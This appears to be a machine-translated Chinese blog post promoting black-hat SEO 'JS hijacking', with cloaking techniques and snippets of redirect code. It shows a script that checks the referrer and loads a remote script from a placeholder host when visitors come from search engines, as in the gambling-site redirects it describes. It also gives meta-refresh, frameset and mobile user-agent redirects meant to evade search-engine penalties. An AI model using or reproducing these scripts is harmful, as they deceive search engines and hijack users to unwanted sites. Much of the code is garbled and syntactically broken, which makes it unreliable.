目前百度搜索百度搜索引擎没有办法完全区分js代码,所以有了利用js代码跳转的黑帽优化推广方法。现在网上有无数的js跳转代码。但作为黑帽优化推广的seo方法之一,如何有效降低K跳转网址的危害性,是大家必须研究的方向。下面简单分享一些关于js劫持的代码。我抓住的只是皮肤。如果有什么问题,请给我指导。原文中最重要的东西很可能出现在最后。请仔细阅读。js劫持有两种:“网站服务器劫持”和“本地劫持”。
“网站服务器劫持”
网站劫持也叫全面劫持,可以修改网站的动态规范,区分返回的内容和浏览的控制,基本保证网站劫持的目的。服务器劫持的识别方法:可以仔细观察网站后端工程师的代码,或者通过改变ip和呼市来观察放回去的源代码是否不同。也就是说,它会在每次浏览网页时更改从服务器获取的网页代码。
Asp/aspx/php劫持
全球.asa、全球.asax、conn.asp、conn.php等。相比之下是不同的。它们的作用是每次执行一个动态脚本的时候,都是先加载,然后执行指导思想脚本。因此,如果您编写代码(浏览等。)在Global.asa中识别客户系统信息,如果百度搜索引擎蜘蛛浏览,会返回关键词网页(推广营销的网站),如果是客户浏览,会返回所有正常网页。
“本地劫持”
客户端劫持的方法有很多种,但重要的有两种:Header劫持和js劫持。如何识别端劫持:只需观察浏览器呈现的网页前端工程师代码,就能发现是否引入了不当的js或其他敏感内容。每次浏览一个网页,从服务器得到的都是相同的网页代码,服务器只控制网页代码在浏览器中的预期效果(比如是否跳转)。
1、报头劫持
重要的功能是使用元刷新标签(自动更改)来引导流量。
可以在源代码中加载以下代码:
<metahttp-equiv="refresh"content="10;URL=http://www.XXX.com">;
2、js劫持
js劫持的作用:根据指导思想,将有意的js代码放入网页,控制网站跳转,隐藏网页内容,劫持提示框。
Js放置技术:可以根据网站服务器的入侵立即加载源代码;也可以写在数据库里,因为有些网页会呈现数据库内容。
Js劫持案
人们经常看到的西蓝花跳转:根据百度搜索百度搜索引擎,点击网页(实现一个js)跳转到网络赌博网页;输入网址立即浏览网页,跳转到404错误页面。
code:today=newDate();today=today.getyear()"-"(today.getmonth()1)"-"today.getdate();Varregexp=//。(搜狗|SO|好索|百度|Google|Seo白帽黑帽优化:有道|雅虎|必应|勾勾|118114|VNET|三秒eo白帽黑帽优化:60|IOAGE|SM|SP)(/。[A-Z0varwhere=document.referer;if(regexp.test(where)){document.write('<;scriptlanguage="JavaScript"type="text/JavaScript"src="http://www.XXX.com/test.js">;</script>;');}else{window.location.href="../../404.htm";}
分析:根据推荐人,如果推荐人的返回是空,会跳转到404错误页面。如果是百度搜索引擎的百度推荐人,也会显示。然后,编写控制跳转的代码。如果只控制显示不同的内容,可以修改php和asp代码;如果一定要劫持百度搜索百度搜索引擎的文本框,可以写JS代码让浏览器本地跳转。当然,js函数可以无限扩展。比如可以控制一个ip一天内的第一次浏览一切正常,其他浏览跳转。
防止K站的有效js码
目前我认为有效防止或改善网址js代码被黑是可行的方法。方法是将pc端和手机端分开,加载js代码跳转。应用:添加一个Javascript源代码(后缀为js),将下面的代码添加进去,将文件命名为tz,然后添加到网页上
页面pc结束跳转
大家都知道关键词在首页排名的时候,无论你的网站是URL优化排名还是独立网页排名,seo白帽和黑帽优化:黑帽优化推广方式的网站完全可以考虑跳转到指导思想网页。很容易得到排名优化,所以做出来的网页大部分都是充分考虑展示给百度搜索引擎的。要尽量让内容具有可读性,绕过相似度训练seo,这样才能兼顾百度搜索引擎规定,让关键词快速上首页。之后做一个用户体验非常好的网页,自然把流量跳转到这个网页,这样就保证了目的。
以下代码:
document.writeln("document.write(\"<;framesetrows=\'100%,*\'frameborder=\'NO\'border=\'0\'framespacing=\'0\'>;\");");
document.writeln("document.write(\"<;framename=\'main\'src=\'http://www.zhonghuaseo.com/jiqiao/'scrolling=yes>;\");");
document.writeln("document.write(\"<;\/frameset>;\");");
document.writeln("<;\/script>);
寻呼移动终端跳转
原因和pc一样,这里就不漫谈了。以下代码:
<scripttype="text/JavaScript">;
if(/andorid|webOS|iPod|BlackBerry|WindowsPhone/I.test(navigator.useragent)){
if(window.location.href.indexof(?PC”)<;0){try{window.location.href="http://www.zhongchuaseo.com/jiqiao/"}
catch(e){}}}<;/script>;
注意了。
需要注意的是,降低被k的危害性是很容易的,人们在制作跳转页面的时候,尽量让主题元素与关键词一致,而内容占主导地位。网页要尽可能改进,提高用户体验,降低跳出率。系统检测这种方法的URL不容易被K中,排名比较稳定。当然,人们必须根据自己的细节来 *** 作流程。
www.zhongchuaseo.com中华文化seo
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)